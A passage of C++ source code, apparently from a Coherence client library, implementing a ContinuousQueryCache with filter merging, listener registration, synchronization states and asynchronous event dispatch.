vKeys->iterator(); hIter->hasNext(); ) { Object::Holder ohKey = hIter->next(); if (vMapLocal->containsKey(ohKey)) { Object::Holder ohValue = getCache()->get(ohKey); if ((ohValue != NULL || vMapLocal->containsKey(ohKey)) && InvocableMapHelper::evaluateEntry(getFilter(), SimpleMapEntry::create(ohKey, ohValue))) { hMapResult->put(ohKey, ohValue); } } } } else { // since the values are not cached, delegate the processing to // the underlying NamedCache Collection::Handle hCollView = ArrayList::create(vKeys); hCollView->retainAll(vMapLocal->keySet()); Map::View vMapResult = getCache()->getAll(hCollView); // verify that the returned contents should all be in this // cache Filter::View vFilter = getFilter(); if (!vMapResult->isEmpty() && FilterMuterator::create( vMapResult->values()->iterator(), NotFilter::create(vFilter))->hasNext()) { Iterator::Handle hIter = vMapResult->entrySet()->iterator(); hMapResult = HashMap::create(); while (hIter->hasNext()) { Map::Entry::View vEntry = cast<Map::Entry::View>(hIter->next()); if (InvocableMapHelper::evaluateEntry(vFilter, vEntry)) { hMapResult->put(vEntry->getKey(), vEntry->getValue()); } } } else { return vMapResult; } } return hMapResult; } Object::Holder ContinuousQueryCache::put(Object::View vKey, Object::Holder ohValue, int64_t cMillis) { if (CacheMap::expiry_default == cMillis) { return put(vKey, ohValue); } else { checkReadOnly(); checkEntry(vKey, ohValue); Object::Holder ohOrig = getCache()->put(vKey, ohValue, cMillis); return InvocableMapHelper::evaluateEntry(getFilter(), SimpleMapEntry::create(vKey, ohOrig))? ohOrig : NULL; } } // ----- ObservableMap interface -------------------------------------------- void ContinuousQueryCache::addKeyListener(MapListener::Handle hListener, Object::View vKey, bool fLite) { COH_ENSURE_PARAM(hListener) // need to cache values locally to provide standard (not lite) events if (!fLite) { setObserved(true); } ensureEventQueue(); getInternalCache()->addKeyListener(instantiateEventRouter(hListener, fLite), vKey, fLite); } void ContinuousQueryCache::removeKeyListener(MapListener::Handle hListener, Object::View vKey) { COH_ENSURE_PARAM(hListener) getInternalCache()->removeKeyListener(instantiateEventRouter(hListener, false), vKey); } void ContinuousQueryCache::addMapListener(MapListener::Handle hListener) { addFilterListener(hListener, (Filter::View) NULL, false); } void ContinuousQueryCache::removeMapListener(MapListener::Handle hListener) { removeFilterListener(hListener, (Filter::View) NULL); } void ContinuousQueryCache::addFilterListener(MapListener::Handle hListener, Filter::View vFilter, bool fLite) { COH_ENSURE_PARAM(hListener) if (instanceof<MapTriggerListener::Handle>(hListener)) { COH_THROW (IllegalArgumentException::create("ContinuousQueryCache does not support MapTriggerListeners")); } // need to cache values locally to provide event filtering and to // provide standard (not lite) events if (vFilter != NULL || !fLite) { setObserved(true); } ensureEventQueue(); getInternalCache()->addFilterListener(instantiateEventRouter(hListener, fLite), vFilter, fLite); } void ContinuousQueryCache::removeFilterListener( MapListener::Handle hListener, Filter::View vFilter) { COH_ENSURE_PARAM(hListener) getInternalCache()->removeFilterListener( instantiateEventRouter(hListener, false), vFilter); } // ----- QueryMap interface ------------------------------------------------- Set::View ContinuousQueryCache::keySet(Filter::View vFilter) const { return isCacheValues() ? InvocableMapHelper::query(this, getIndexMap(), vFilter, false, false, NULL) : getCache()->keySet(mergeFilter(vFilter)); } Set::View ContinuousQueryCache::entrySet(Filter::View vFilter) const { return isCacheValues() ? InvocableMapHelper::query(this, getIndexMap(), vFilter, true, false, NULL) : getCache()->entrySet(mergeFilter(vFilter)); } Set::View ContinuousQueryCache::entrySet(Filter::View vFilter, Comparator::View vComparator) const { return isCacheValues() ? InvocableMapHelper::query(this, getIndexMap(), vFilter, true, true, vComparator) : getCache()->entrySet(mergeFilter(vFilter), vComparator); } void ContinuousQueryCache::addIndex(ValueExtractor::View vExtractor, bool fOrdered, Comparator::View vComparator) { COH_SYNCHRONIZED (this) { if (isCacheValues()) { InvocableMapHelper::addIndex(vExtractor, fOrdered, vComparator, getInternalCache(), ensureIndexMap()); } } // addIndex is a no-op if many clients are trying to add the same one getCache()->addIndex(vExtractor, fOrdered, vComparator); } void ContinuousQueryCache::removeIndex(ValueExtractor::View vExtractor) { // remove the index locally if we are caching values but do not // attempt to remove it from the underlying cache ... // removeIndex would kill all the other clients' performance if every // client balanced their add and remove index calls, so this cache // ignores the suggestion (since it cannot know if it was the cache // that originally added the index) COH_SYNCHRONIZED (this) { if (isCacheValues()) { InvocableMapHelper::removeIndex(vExtractor, getInternalCache(), ensureIndexMap()); } } } // ----- InvocableMap interface --------------------------------------------- Object::Holder ContinuousQueryCache::invoke(Object::View vKey, InvocableMap::EntryProcessor::Handle hAgent) { NamedCache::Handle hCache = getCache(); return hCache->invoke(vKey, hAgent); } Map::View ContinuousQueryCache::invokeAll(Collection::View vCollKeys, InvocableMap::EntryProcessor::Handle hAgent) { if (vCollKeys->isEmpty()) { return Collections::emptyMap(); } // verify that the non-existent keys are NOT present in the // underlying cache (assumption is most keys in the collection are // already in the ContinuousQueryCache) NamedCache::Handle hCache = getCache(); return hCache->invokeAll(vCollKeys, hAgent); } Map::View ContinuousQueryCache::invokeAll(Filter::View vFilter, InvocableMap::EntryProcessor::Handle hAgent) { return getCache()->invokeAll(mergeFilter(vFilter), hAgent); } Object::Holder ContinuousQueryCache::aggregate(Collection::View vCollKeys, InvocableMap::EntryAggregator::Handle hAgent) const { if (vCollKeys->isEmpty()) { return hAgent->aggregate(Collections::emptySet()); } // verify that the non-existent keys are NOT present in the // underlying cache (assumption is most keys in the collection are // already in the ContinuousQueryCache) NamedCache::View vCache = getCache(); return vCache->aggregate(vCollKeys, hAgent); } Object::Holder ContinuousQueryCache::aggregate(Filter::View vFilter, InvocableMap::EntryAggregator::Handle hAgent) const { return getCache()->aggregate(mergeFilter(vFilter), hAgent); } // ----- ConcurrentMap interface -------------------------------------------- bool ContinuousQueryCache::lock(Object::View vKey, int64_t cWait) const { // locking is counted as a mutating operation checkReadOnly(); return getCache()->lock(vKey, cWait); } bool ContinuousQueryCache::lock(Object::View vKey) const { return lock(vKey, 0); } bool ContinuousQueryCache::unlock(Object::View vKey) const { // we intentionally don't do the ReadOnly check as you must // hold the lock in order to release it return getCache()->unlock(vKey); } // ----- NamedCache interface ----------------------------------------------- String::View ContinuousQueryCache::getCacheName() const { Supplier::View vNameSupplier = m_vCacheNameSupplier; return vNameSupplier == NULL ? f_vsName : cast<String::View>(vNameSupplier->get()); } CacheService::Handle ContinuousQueryCache::getCacheService() { return getCache()->getCacheService(); } CacheService::View ContinuousQueryCache::getCacheService() const { return getCache()->getCacheService(); } bool ContinuousQueryCache::isActive() const { NamedCache::Handle hCache = m_hCache; return hCache != NULL && hCache->isActive(); } void ContinuousQueryCache::release() { // shut down the event queue shutdownEventQueue(); COH_SYNCHRONIZED(this) { releaseListeners(); m_hMapLocal = NULL; m_hCache = NULL; m_nState = state_disconnected; } } void ContinuousQueryCache::destroy() { // destroys the view but not the underlying cache release(); } void ContinuousQueryCache::truncate() { checkReadOnly(); getCacheInternal()->truncate(); } // ----- internal ----------------------------------------------------------- Filter::View ContinuousQueryCache::mergeFilter(Filter::View vFilter) const { if (NULL == vFilter) { return f_vFilter; } Filter::View vFilterMerged = NULL; // strip off key association Filter::View vFilterCQC = getFilter(); bool fKeyAssoc = false; Object::Holder ohKeyAssoc = NULL; if (instanceof<KeyAssociatedFilter::View>(vFilterCQC)) { KeyAssociatedFilter::View vFilterAssoc = cast<KeyAssociatedFilter::View>(vFilterCQC); ohKeyAssoc = vFilterAssoc->getHostKey(); vFilterCQC = vFilterAssoc->getFilter(); fKeyAssoc = true; // if the passed filter is also key-associated, strip it off too if (instanceof<KeyAssociatedFilter::View>(vFilter)) { vFilterAssoc = cast<KeyAssociatedFilter::View>(vFilter); vFilter = vFilterAssoc->getFilter(); } } else if (instanceof<KeyAssociatedFilter::View>(vFilter)) { KeyAssociatedFilter::View vFilterAssoc = cast<KeyAssociatedFilter::View>(vFilter); ohKeyAssoc = vFilterAssoc->getHostKey(); vFilter = vFilterAssoc->getFilter(); fKeyAssoc = true; } if (instanceof<LimitFilter::View>(vFilter)) { // To merge a LimitFilter with the CQC Filter we cannot // simply And the two, we must And the CQC Filter with the // LimitFilter's internal Filter, and then apply the limit // on top of that LimitFilter::Handle hFilterNew; LimitFilter::Handle hFilterOrig = cast<LimitFilter::Handle>(vFilter->clone()); int32_t iPageSize = hFilterOrig->getPageSize(); Object::Holder ohCookie = hFilterOrig->getCookie(); if (instanceof<LimitFilter::View>(ohCookie)) { // apply the page size as it could have changed since the // wrapper was created hFilterNew = cast<LimitFilter::Handle>(ohCookie->clone()); hFilterNew->setPageSize(iPageSize); } else { // cookie either didn't exist, or was not our cookie // construct the wrapper and stick it in the cookie for // future re-use hFilterNew = LimitFilter::create( AndFilter::create(vFilterCQC, hFilterOrig->getFilter()), iPageSize); hFilterOrig->setCookie(hFilterNew); } // apply current page number; // all other properites are for use by the query processor // and only need to be maintained within the wrapper hFilterNew->setPage(hFilterOrig->getPage()); vFilterMerged = hFilterNew; } else { vFilterMerged = AndFilter::create(vFilterCQC, vFilter); } // apply key association if (fKeyAssoc) { vFilterMerged = KeyAssociatedFilter::create(vFilterMerged, ohKeyAssoc); } return vFilterMerged; } void ContinuousQueryCache::checkReadOnly() const { if (isReadOnly()) { COH_THROW_STREAM(IllegalStateException, getCacheName() << " is read-only") } } void ContinuousQueryCache::checkEntry(Map::Entry::View vEntry) { if (!InvocableMapHelper::evaluateEntry(getFilter(), vEntry)) { COH_THROW_STREAM(IllegalArgumentException, getCacheName() << ": Attempted modification violates filter; key=\"" << vEntry->getKey() << "\", value=\"" << vEntry->getValue() << "\"") } } void ContinuousQueryCache::checkEntry(Object::View vKey, Object::Holder ohValue) { if (!InvocableMapHelper::evaluateEntry(getFilter(), SimpleMapEntry::create(vKey, ohValue))) { COH_THROW_STREAM(IllegalArgumentException, getCacheName() << ": Attempted modification violates filter; key=\"" << vKey << "\", value=\"" << ohValue << "\"") } } String::View ContinuousQueryCache::getStateString(int32_t nState) const { switch (nState) { case state_configured: return "STATE_CONFIGURED"; case state_configuring: return "STATE_CONFIGURING"; case state_disconnected: return "STATE_DISCONNECTED"; case state_synchronized: return "STATE_SYNCHRONIZED"; default: COH_THROW_STREAM(IllegalStateException, "unknown state: " << nState); } } void ContinuousQueryCache::configureSynchronization(bool fReload) const { COH_SYNCHRONIZED(this) { ObservableMap::Handle hMapLocal = NULL; try { changeState(state_configuring); m_ldtConnectionTimestamp = System::safeTimeMillis(); NamedCache::Handle hCache = getCacheInternal(); Filter::View vFilter = getFilter(); bool fCacheValues = isCacheValues(); // get the old filters and listeners MapEventFilter::View vFilterAddPrev = m_vFilterAdd; MapListener::Handle hListenerAddPrev = m_whListenerAdd; // determine if this is initial configuration bool fFirstTime = vFilterAddPrev == NULL; if (fFirstTime) { // register for service restart notification registerServiceListener(); registerDeactivationListener(); // create the "remove listener" int32_t nMask = MapEventFilter::e_updated_left | MapEventFilter::e_deleted; MapEventFilter::View vFilterRemove = MapEventFilter::create(nMask, vFilter); MapListener::Handle hListenerRemove = instantiateRemoveListener(); hCache->addFilterListener(hListenerRemove, vFilterRemove, true); m_vFilterRemove = vFilterRemove; m_whListenerRemove = hListenerRemove; } else { hCache->addFilterListener(m_whListenerRemove, m_vFilterRemove, true); } // configure the "add listener" int32_t nMask = MapEventFilter::e_inserted | MapEventFilter::e_updated_entered; if (fCacheValues) { nMask |= MapEventFilter::e_updated_within; } if (fFirstTime || nMask != vFilterAddPrev->getEventMask()) { MapEventFilter::View vFilterAdd = MapEventFilter::create(nMask, vFilter); MapListener::Handle hListenerAdd = instantiateAddListener(); hCache->addFilterListener(hListenerAdd, createTransformerFilter(vFilterAdd), !fCacheValues); m_vFilterAdd = vFilterAdd; m_whListenerAdd = hListenerAdd; if (hListenerAddPrev != NULL) { COH_ENSURE_RELATION(MapEventFilter::View, vFilterAddPrev, !=, NULL) hCache->removeFilterListener(hListenerAddPrev, createTransformerFilter(vFilterAddPrev)); } } else { hCache->addFilterListener(hListenerAddPrev, createTransformerFilter(vFilterAddPrev), !fCacheValues); } // update the local query image hMapLocal = ensureInternalCache(); if (fFirstTime || fReload) { // populate the internal cache if (isCacheValues()) { Set::View vSet = ((f_vTransformer == NULL) ? hCache->entrySet(vFilter) : hCache->invokeAll(vFilter, ExtractorProcessor::create( f_vTransformer))->entrySet()); // first remove anything that is not in the query if (!hMapLocal->isEmpty()) { HashSet::Handle hSetQueryKeys = HashSet::create(); for (Iterator::Handle hIter = vSet->iterator(); hIter->hasNext(); ) { hSetQueryKeys->add(cast<Map::Entry::View>( hIter->next())->getKey()); } hMapLocal->keySet()->retainAll(hSetQueryKeys); } // next, populate the local cache for (Iterator::Handle hIter = vSet->iterator(); hIter->hasNext(); ) { Map::Entry::View vEntry = cast<Map::Entry::View>( hIter->next()); hMapLocal->put(vEntry->getKey(), vEntry->getValue()); } } else { // first remove the keys that are not in the query Set::View vSetQueryKeys = hCache->keySet(vFilter); if (!hMapLocal->isEmpty()) { hMapLocal->keySet()->retainAll(vSetQueryKeys); } //next, populate the local cache with keys from the query for (Iterator::Handle hIter = vSetQueryKeys->iterator(); hIter->hasNext(); ) { hMapLocal->put(hIter->next(), NULL); } } } else { // not the first time; internal cache is already populated if (fCacheValues) { // used to cache only keys, now caching values too ObjectArray::Handle haoKey; COH_SYNCHRONIZED (hMapLocal) // COH-1418 { haoKey = hMapLocal->keySet()->toArray(); } Map::View vMapValues = hCache->getAll(ReadOnlyArrayList::create(haoKey)); hMapLocal->putAll(vMapValues); } else { // used to cache values, now caching only keys for (Iterator::Handle hIter = hMapLocal->entrySet()->iterator(); hIter->hasNext(); ) { cast<Map::Entry::Handle>(hIter->next())->setValue(NULL); } } } int32_t nCurrentState = getState(); if (nCurrentState != state_configuring) { // This is possible if the service thread has set the state // to STATE_DISCONNECTED. In this case, throw and let the caller // handle retry logic throw createUnexpectedStateException(state_configuring, nCurrentState); } changeState(state_configured); // resolve all changes that occurred during configuration Map::Handle hMapSyncReq = m_hMapSyncReq; if (!hMapSyncReq->isEmpty()) { ObjectArray::Handle haoKey; COH_SYNCHRONIZED (hMapSyncReq) // COH-1418 { haoKey = hMapSyncReq->keySet()->toArray(); } Map::View vMapSyncVals = hCache->getAll(ReadOnlyArrayList::create(haoKey)); COH_SYNCHRONIZED (hMapSyncReq) { for (Iterator::Handle hIter = hMapSyncReq->keySet()->iterator(); hIter->hasNext(); ) { Object::Holder ohKey = hIter->next(); Object::Holder ohValue = vMapSyncVals->get(ohKey); bool fExists = ohValue != NULL || vMapSyncVals->containsKey(ohKey); // COH-3847 - an update event was received and deferred // while configuring the CQC, but we need to double-check // that the new value satisfies the filter if (fExists && InvocableMapHelper::evaluateEntry( vFilter, SimpleMapEntry::create(ohKey, ohValue))) { hMapLocal->put(ohKey, ohValue); } else { hMapLocal->remove(ohKey); } } // notify other threads that there is nothing to resolve hMapSyncReq->clear(); } } nCurrentState = getState(); if (nCurrentState != state_configured) { // This is possible if the service thread has set the state // to STATE_DISCONNECTED. In this case, throw and let the caller // handle retry logic throw createUnexpectedStateException(state_configured, nCurrentState); } changeState(state_synchronized); } catch (Exception::View vEx) { if (hMapLocal != NULL) { // exception during initial load (COH-2625) or reconciliation; // in either case we need to unregister listeners and // start from scratch releaseListeners(); } // mark as disconnected changeState(state_disconnected); COH_THROW (vEx); } } } RuntimeException::View ContinuousQueryCache::createUnexpectedStateException(int32_t nExpectedState, int32_t nActualState) const { return RuntimeException::create(COH_TO_STRING("Unexpected synchronization state. Expected: " << nExpectedState << ", actual: " << nActualState)); } Filter::View ContinuousQueryCache::createTransformerFilter( MapEventFilter::View vFilterAdd) const { return MapEventTransformerFilter::create(vFilterAdd, f_vTransformer == NULL ? ((MapEventTransformer::View) SemiLiteEventTransformer::getInstance()) : ((MapEventTransformer::View) ExtractorEventTransformer::create( (ValueExtractor::View) NULL, (ValueExtractor::View) f_vTransformer))); } void ContinuousQueryCache::ensureSynchronized(bool fReload) const { // configure and synchronize the ContinousQueryCache, if necessary if (getState() != state_synchronized) { int64_t cReconnectMillis = getReconnectInterval(); bool fAllowDisconnect = cReconnectMillis > 0; if (fAllowDisconnect && System::safeTimeMillis() < m_ldtConnectionTimestamp + cReconnectMillis) { // don't try to re-connect just yet return; } Exception::View vExConfig = NULL; int cAttempts = fAllowDisconnect ? 1 : 3; for (int32_t i = 0; i < cAttempts; ++i) { COH_SYNCHRONIZED (this) { int32_t nState = getState(); if (state_disconnected == nState) { try { configureSynchronization(fReload); return; } catch (Exception::View vEx) { vExConfig = vEx; } } else { COH_ENSURE_RELATION(int32_t, nState, ==, state_synchronized) return; } } } if (!fAllowDisconnect) { String::Handle sMsg = String::create("This ContinuousQueryCache is disconnected. Retry the operation again."); if (COH_LOGENABLED(Logger::level_d9)) { throw IllegalStateException::create(sMsg, vExConfig); } else { throw IllegalStateException::create(sMsg); } } } } bool ContinuousQueryCache::isEventDeferred(Object::View vKey) const { bool fDeferred = false; Map::Handle hMapSyncReq = m_hMapSyncReq; if (hMapSyncReq != NULL) { if (getState() <= state_configuring) { // since the listeners are being configured and the local // cache is being populated, assume that the event is // being processed out-of-order and requires a subsequent // synchronization of the corresponding value hMapSyncReq->put(vKey, NULL); fDeferred = true; } else { // since an event has arrived after the configuration // completed, the event automatically resolves the sync // requirement hMapSyncReq->keySet()->remove(vKey); } } return fDeferred; } bool ContinuousQueryCache::removeBlind(Object::View vKey) { checkReadOnly(); return containsKey(vKey) && getCache()->keySet()->remove(vKey); } Set::View ContinuousQueryCache::getInternalKeySet() const { return getInternalCache()->keySet(); } NamedCache::Handle ContinuousQueryCache::getCacheInternal() const { NamedCache::Handle hCache = m_hCache; if (hCache == NULL) { NamedCache::Holder hCacheHolder = cast<NamedCache::Holder>(f_vCacheSupplier->get()); hCache = m_hCache = const_cast<NamedCache*>(get_pointer(hCacheHolder)); if (hCache == NULL) { COH_THROW_STREAM(IllegalStateException, "NamedCache is not active") } } return hCache; } void ContinuousQueryCache::releaseListeners() const { NamedCache::Handle hCache = m_hCache; if (hCache != NULL) { unregisterServiceListener(); unregisterDeactivationListener(); MapListener::Handle hListenerAdd = m_whListenerAdd; if (hListenerAdd != NULL) { try { hCache->removeFilterListener(hListenerAdd, createTransformerFilter(m_vFilterAdd)); } catch (Exception::View) { //do nothing } m_whListenerAdd = NULL; } m_vFilterAdd = NULL; MapListener::Handle hListenerRemove = m_whListenerRemove; if (hListenerRemove != NULL) { try { hCache->removeFilterListener(hListenerRemove, m_vFilterRemove); } catch (Exception::View) { //do nothing } m_whListenerRemove = NULL; } m_vFilterRemove = NULL; } } // ----- local class: DeactivationListener ---------------------------------- /** * DeactivationListener for the underlying NamedCache. * * The primary goal of that listener is invalidation of the named cache when * the named cache is destroyed or to truncate the local cache if the back * cache has been truncated. * * @since 12.2.1.4 */ class COH_EXPORT DeactivationListener : public class_spec<DeactivationListener, extends<AbstractMapListener>, implements<NamedCacheDeactivationListener> > { friend class factory<DeactivationListener>; // ----- constructors --------------------------------------------------- protected: DeactivationListener(ContinuousQueryCache::Handle queryCache) : f_hQueryCache(self(), queryCache) { } private: DeactivationListener(const DeactivationListener&); // ----- MapListener interface ------------------------------------------ public: void entryDeleted(MapEvent::View) { // destroy/disconnect event ContinuousQueryCache::Handle hQueryCache = f_hQueryCache; hQueryCache->changeState(ContinuousQueryCache::state_disconnected); } void entryUpdated(MapEvent::View) { // "truncate" event ContinuousQueryCache::Handle hQueryCache = f_hQueryCache; ObservableMap::Handle internalCache = hQueryCache->getInternalCache(); if (instanceof<ObservableHashMap::Handle>(internalCache)) { cast<ObservableHashMap::Handle>(internalCache)->truncate(); } else { internalCache->clear(); } }; // ----- data members --------------------------------------------------- protected: FinalHandle<ContinuousQueryCache> f_hQueryCache; }; void ContinuousQueryCache::registerDeactivationListener() const { // automatic named cache clean up (upon cache destruction) // requires a NamedCacheDeactivationListener implementation CacheService::View hService = getCacheInternal()->getCacheService(); if (hService != NULL) { try { MapListener::Handle hDeactivationListener; hDeactivationListener = m_hListenerDeactivation = DeactivationListener::create(const_cast<ContinuousQueryCache*>(this)); m_hCache->addMapListener(hDeactivationListener); } catch(UnsupportedOperationException::View) { } } } void ContinuousQueryCache::unregisterDeactivationListener() const { MapListener::Handle hDeactivationListener = m_hListenerDeactivation; if (hDeactivationListener != NULL) { try { NamedCache::Handle hCache = m_hCache; if (hCache != NULL) { hCache->removeMapListener(hDeactivationListener); } } catch(RuntimeException::View) { } } } // ----- Object interface --------------------------------------------------- void ContinuousQueryCache::onInit() { super::onInit(); Supplier::View vCacheSupplier = f_vCacheSupplier; Filter::View vFilter = f_vFilter; COH_ENSURE_RELATION(Supplier::View, vCacheSupplier, !=, NULL) COH_ENSURE_RELATION(Filter::View, vFilter, !=, NULL) NamedCache::View hNamedCache = cast<NamedCache::View>(vCacheSupplier->get()); COH_ENSURE_RELATION(NamedCache::Holder, hNamedCache, !=, NULL) if (instanceof<LimitFilter::View>(vFilter)) { // FUTURETODO: it would be nice to eventually be able to have a // cache of the "top ten" items, etc. COH_THROW_STREAM(UnsupportedOperationException, "LimitFilter may not be used") } initialize(f_vsName, COH_TO_STRING("ContinuousQueryCache{Cache=" << hNamedCache->getCacheName() << ", Filter=" << vFilter << ", Transformer=" << f_vTransformer << "}")); // key/entry set can't be lazy as we need to pass non-const this reference initialize(f_hSetKeys, instantiateKeySet()); initialize(f_hSetEntries, instantiateEntrySet()); // was a listener passed at construction time? m_fListeners = m_hListener != NULL; ensureInternalCache(); ensureSynchronized(false); } // ----- local class: AddListener ------------------------------------------- /** * A MapListener for evicting items from the query. */ class COH_EXPORT AddListener : public class_spec<AddListener, extends<MultiplexingMapListener>, implements<MapListenerSupport::SynchronousListener> > { friend class factory<AddListener>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new Status object. * * @param vCache the outer ContinuousQueryCache */ AddListener(ContinuousQueryCache::View vCache) : f_vCache(self(), vCache) { } // ----- MultiplexingMapListener interface -------------------------- public: /** * {@inheritDoc} */ virtual void onMapEvent(MapEvent::View vEvent) { Object::View vKey = vEvent->getKey(); if (!f_vCache->isEventDeferred(vKey)) { // guard against possible NPE; one could theoretically occur // during construction or after release; one occurred during // testing of a deadlock issue (COHCPP-300) Map::Handle hMap = f_vCache->m_hMapLocal; if (hMap != NULL) { hMap->put(vKey, f_vCache->isCacheValues() ? vEvent->getNewValue() : (Object::View) NULL); } } } // ----- Object interface ------------------------------------------- public: /** * {@inheritDoc} */ virtual TypedHandle<const String> toString() const { return COH_TO_STRING("AddListener[" << f_vCache << "]"); } // ---- data members ------------------------------------------------ protected: /** * The associated ContinuousQueryCache. */ FinalView<ContinuousQueryCache> f_vCache; }; MapListener::Handle ContinuousQueryCache::instantiateAddListener() const { return AddListener::create(this); } // ----- local class: RemoveListener ---------------------------------------- /** * A MapListener for evicting items from the query. */ class COH_EXPORT RemoveListener : public class_spec<RemoveListener, extends<MultiplexingMapListener>, implements<MapListenerSupport::SynchronousListener> > { friend class factory<RemoveListener>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new Status object. * * @param vCache the outer ContinuousQueryCache */ RemoveListener(ContinuousQueryCache::View vCache) : f_vCache(self(), vCache) { } // ----- MultiplexingMapListener interface -------------------------- public: /** * {@inheritDoc} */ virtual void onMapEvent(MapEvent::View vEvent) { ContinuousQueryCache::View vCache = f_vCache; Object::View vKey = vEvent->getKey(); if (!vCache->isEventDeferred(vKey)) { // guard against possible NPE; one could theoretically occur // during construction or after release; one occurred during // testing of a deadlock issue (COHCPP-300) Map::Handle hMap = vCache->m_hMapLocal; if (hMap != NULL) { hMap->remove(vKey); } } } // ----- Object interface ------------------------------------------- public: /** * {@inheritDoc} */ virtual TypedHandle<const String> toString() const { return COH_TO_STRING("RemoveListener[" << f_vCache << "]"); } // ---- data members ------------------------------------------------ protected: /** * The associated ContinuousQueryCache. */ FinalView<ContinuousQueryCache> f_vCache; }; MapListener::Handle ContinuousQueryCache::instantiateRemoveListener() const { return RemoveListener::create(this); } // ----- local class: ServiceListener --------------------------------------- /** * A MapListener for evicting items from the query. */ class COH_EXPORT ServiceListener : public class_spec<ServiceListener, extends<Object>, implements<MemberListener> > { friend class factory<ServiceListener>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new Status object. * * @param vCache the outer ContinuousQueryCache */ ServiceListener(ContinuousQueryCache::View vCache) : f_vCache(self(), vCache) { } // ----- MemberListener interface ----------------------------------- public: /** * {@inheritDoc} */ virtual void memberJoined(MemberEvent::View /*vEvt*/) { } /** * {@inheritDoc} */ virtual void memberLeaving(MemberEvent::View /*vEvt*/) { } /** * {@inheritDoc} */ virtual void memberLeft(MemberEvent::View vEvt) { if (vEvt->isLocal()) { f_vCache->changeState(ContinuousQueryCache::state_disconnected); } } // ----- Object interface ------------------------------------------- public: /** * {@inheritDoc} */ virtual TypedHandle<const String> toString() const { return COH_TO_STRING("ServiceListener[" << f_vCache << "]"); } // ---- data members ------------------------------------------------ protected: /** * The associated ContinuousQueryCache. */ FinalView<ContinuousQueryCache> f_vCache; }; void ContinuousQueryCache::registerServiceListener() const { // automatic front map clean up (upon service restart) // requires a MemberListener implementation CacheService::Handle hService = getCacheInternal()->getCacheService(); if (hService != NULL) { try { MemberListener::Handle hListener = ServiceListener::create(this); hService->addMemberListener(hListener); m_whListenerService = hListener; } catch (UnsupportedOperationException::View) { // do nothing } } } void ContinuousQueryCache::unregisterServiceListener() const { try { cast<CacheService::Handle>(getCacheInternal()->getCacheService())->removeMemberListener(m_whListenerService); } catch (RuntimeException::View) { // do nothing } } Map::Handle ContinuousQueryCache::ensureIndexMap() { return getIndexMap(); } Map::View ContinuousQueryCache::getIndexMap() const { return f_hMapIndex; } Map::Handle ContinuousQueryCache::getIndexMap() { return f_hMapIndex; } void ContinuousQueryCache::releaseIndexMap() { Map::Handle hMapIndex = getIndexMap(); if (hMapIndex != NULL) { ObjectArray::View aoExtractors = hMapIndex->keySet()->toArray(); for (size32_t i = 0; i < aoExtractors->length; ++i) { removeIndex(cast<ValueExtractor::View>(aoExtractors[i])); } } } // ----- inner class: AsynchronousEvent ------------------------------------- ContinuousQueryCache::AsynchronousEvent::AsynchronousEvent( MapEvent::Handle hEvent, MapListener::Handle hListener) : f_hEvent(self(), hEvent), f_hListener(self(), hListener) { } void ContinuousQueryCache::AsynchronousEvent::dispatch() { MapListener::Handle hListener = f_hListener; f_hEvent->dispatch(hListener); } // ----- local class: EventQueue -------------------------------------------- /** * Used to dispatch asynchronous messages. */ class COH_EXPORT EventQueue : public class_spec<EventQueue, extends<QueueProcessor>, implements<ContinuousQueryCache::TaskDaemon> > { friend class factory<EventQueue>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new EventQueue object. */ EventQueue() { } private: /** * Blocked copy constructor. */ EventQueue(const EventQueue&); // ----- EventQueue interface --------------------------------------- public: /** * Schedule an event for dispatch. * * @param hEvent the event to dispatch */ virtual void scheduleDispatch( ContinuousQueryCache::AsynchronousEvent::Handle hEvent) { getQueue()->add(hEvent); } /** * {@inheritDoc} */ virtual void start() { QueueProcessor::start(); } /** * {@inheritDoc} */ virtual void stop() { QueueProcessor::stop(); } // ----- QueueProcessor interface ----------------------------------- public: /** * {@inheritDoc} */ virtual void onNotify() { ContinuousQueryCache::AsynchronousEvent::Handle hEvent = NULL; while ((hEvent = cast<ContinuousQueryCache::AsynchronousEvent::Handle> (getQueue()->removeNoWait())) != NULL) { hEvent->dispatch(); } } }; ContinuousQueryCache::TaskDaemon::Handle ContinuousQueryCache::instantiateEventQueue() const { return EventQueue::create(); } ContinuousQueryCache::TaskDaemon::Handle ContinuousQueryCache::getEventQueue() const { return m_hTaskQueue; } ContinuousQueryCache::TaskDaemon::Handle ContinuousQueryCache::ensureEventQueue() const { COH_SYNCHRONIZED(this) { TaskDaemon::Handle hQueue = getEventQueue(); if (NULL == hQueue) { m_hTaskQueue = hQueue = instantiateEventQueue(); hQueue->start(); } return hQueue; } } void ContinuousQueryCache::shutdownEventQueue() { TaskDaemon::Handle hEventQueue = getEventQueue(); if (hEventQueue != NULL) { m_hTaskQueue = NULL; hEventQueue->stop(); } } // ----- local class: EventRouter ------------------------------------------- /** * A MapListener for evicting items from the query. */ class COH_EXPORT EventRouter : public class_spec<EventRouter, extends<MultiplexingMapListener> > { friend class factory<EventRouter>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new Status object. * * @param hCache the outer ContinuousQueryCache * @param listener a client listener * @param fLite true to indicate that the MapEvent objects do * not have to include the OldValue and * NewValue property values in order to allow optimizations */ EventRouter(ContinuousQueryCache::Handle hCache, MapListener::Handle hListener, bool fLite) : f_hCache(self(), hCache), m_hListener(self(), hListener), m_fLite(fLite) { } // ----- MultiplexingMapListener interface -------------------------- public: /** * {@inheritDoc} */ virtual void onMapEvent(MapEvent::View vEvent) { //TODO: const references? MapListener::Handle hListener = m_hListener; MapEvent::Handle hEvtRoute; ContinuousQueryCache::Handle hMap = f_hCache; // internal note: The implementation that intializes hEvtRoute differs from // the Java and .NET implementations due to differences in the // existing APIs. if (instanceof<MapListenerSupport::FilterEvent::View>(vEvent)) { hEvtRoute = MapListenerSupport::FilterEvent::create(hMap, vEvent->getId(), vEvent->getKey(), m_fLite ? NULL : vEvent->getOldValue(), m_fLite ? NULL : vEvent->getNewValue(), false, false, cast<MapListenerSupport::FilterEvent::View>(vEvent)->getFilter()); } else { hEvtRoute = MapEvent::create(hMap, vEvent->getId(), vEvent->getKey(), m_fLite ? NULL : vEvent->getOldValue(), m_fLite ? NULL : vEvent->getNewValue()); } if (instanceof<MapListenerSupport::SynchronousListener::Handle> (hListener)) { try { hEvtRoute->dispatch(hListener); } catch (RuntimeException::View vEx) { COH_LOGEX(vEx, Logger::level_warning) } } else { ContinuousQueryCache::TaskDaemon::Handle 